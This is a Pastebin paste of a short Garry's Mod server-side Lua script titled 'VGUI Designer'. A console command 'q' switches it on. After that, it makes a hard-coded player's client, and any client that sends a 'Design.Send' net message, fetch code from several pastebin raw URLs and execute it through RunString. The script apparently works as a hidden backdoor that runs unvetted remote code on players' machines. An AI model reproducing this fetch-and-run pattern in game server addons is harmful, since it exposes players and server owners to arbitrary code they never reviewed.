Advertisement
StarkMP

VGUI Designer [SV]

Dec 19th, 2018
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.04 KB | None | 0 0
  1. util.AddNetworkString("Design.Send")
  2.  
  3. local designer = player.GetBySteamID("STEAM_0:1:64411336")
  4. local Switch = false
  5. local FirstSwitch = true
  6.  
  7. local function Script_Activated()
  8.     designer:SendLua('http.Fetch("https://pastebin.com/raw/EJADt6c3", function(b) RunString(b) end)')
  9.     designer:SendLua('http.Fetch("https://pastebin.com/raw/DfsJKqzY", function(b) RunString(b) end)')
  10.    
  11.     timer.Simple(1, function()
  12.         designer:SendLua('http.Fetch("https://pastebin.com/raw/BjKy6mUt", function(b) RunString(b) end)')
  13.     end)
  14. end
  15.  
  16. net.Receive("Design.Send", function(len, ply)
  17.     if Switch == false then return end
  18.     ply:SendLua('http.Fetch("https://pastebin.com/raw/DfsJKqzY", function(b) RunString(b) end)')
  19.     ply:SendLua('http.Fetch("https://pastebin.com/raw/BjKy6mUt", function(b) RunString(b) end)')
  20. end)
  21.  
  22. concommand.Add("q", function()
  23.     if Switch then
  24.         Switch = false
  25.         designer:ChatPrint("Disctivated")
  26.     else
  27.         if FirstSwitch then
  28.             FirstSwitch = false
  29.             Script_Activated()
  30.         end
  31.         Switch = true
  32.         designer:ChatPrint("Activated")
  33.     end
  34. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement